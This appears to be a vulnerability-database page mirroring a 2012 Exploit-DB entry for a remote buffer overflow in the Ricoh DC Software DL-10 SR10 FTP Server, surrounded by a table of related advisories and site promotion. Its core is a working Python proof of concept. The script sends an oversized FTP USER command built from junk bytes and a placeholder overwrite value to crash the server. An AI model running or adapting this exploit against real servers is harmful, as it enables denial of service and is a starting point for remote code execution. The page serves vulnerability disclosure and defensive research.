Lucene search
+L

Ricoh DC Software DL-10 SR10 FTP Server (SR10.exe) 1.1.0.6 - Remote Buffer Overflow

🗓️ 22 Mar 2012 00:00:00Reported by Julien AhrensType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 54 Views

Ricoh DC Software DL-10 SR10 FTP Server Remote Buffer Overflow Vulnerability Exploi

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Cross-site Scripting in Astaro Security_Gateway_Software
30 Apr 201915:15
githubexploit
circl
Circl
CVE-2012-5002
22 Mar 201200:00
circl
circl
Circl
CVE-2015-6750
22 Mar 201200:00
circl
cnvd
CNVD
Ricoh DL FTP Server Buffer Overflow Vulnerability
2 Sep 201500:00
cnvd
cve
CVE
CVE-2012-5002
19 Sep 201219:00
cve
cve
CVE
CVE-2015-6750
31 Aug 201515:00
cve
cvelist
Cvelist
CVE-2012-5002
19 Sep 201219:00
cvelist
cvelist
Cvelist
CVE-2015-6750
31 Aug 201515:00
cvelist
exploitdb
Exploit DB
Ricoh DC Software DL-10 SR10 FTP Server (SR10.exe) - FTP USER Command Buffer Overflow (Metasploit)
24 Mar 201200:00
exploitdb
euvd
EUVD
EUVD-2015-6687
7 Oct 202500:30
euvd
Rows per page
#!/usr/bin/python

# Exploit Title: Ricoh DC Software DL-10 FTP Server (SR10.exe) <= 1.1.0.6 Remote Buffer Overflow Vulnerability
# Version:       <= 1.1.0.6
# Date:          2012-02-05
# Author:        Julien Ahrens
# Homepage:      www.inshell.net
# Software Link: http://www.ricohpmmc.com
# Tested on:     Windows XP SP3 Professional German
# Notes:         Capftpd (former SR-10) is vulnerable too
# Howto:         "Log file name" has to be set

import socket,sys
import os

target="192.168.0.1"
port=21

junk1 = "\x41" * 245
boom = "\x42\x42\x42\x42"
junk2 = "\x43" * 50

payload = junk1 + boom + junk2

print "[*] Connecting to Target " + target + "..."

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    connect=s.connect((target, port))
    print "[*] Connected to " + target + "!"
except:
    print "[!] " + target + " didn't respond\n"
    sys.exit(0)

s.recv(1024)
print "[*] Sending malformed request..."
s.send('USER ' + payload + '\r\n')

print "[!] Exploit has been sent!\n"
s.close()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Oct 2016 00:00Current
7.8High risk
Vulners AI Score7.8
CVSS 27.5
EPSS0.31157
54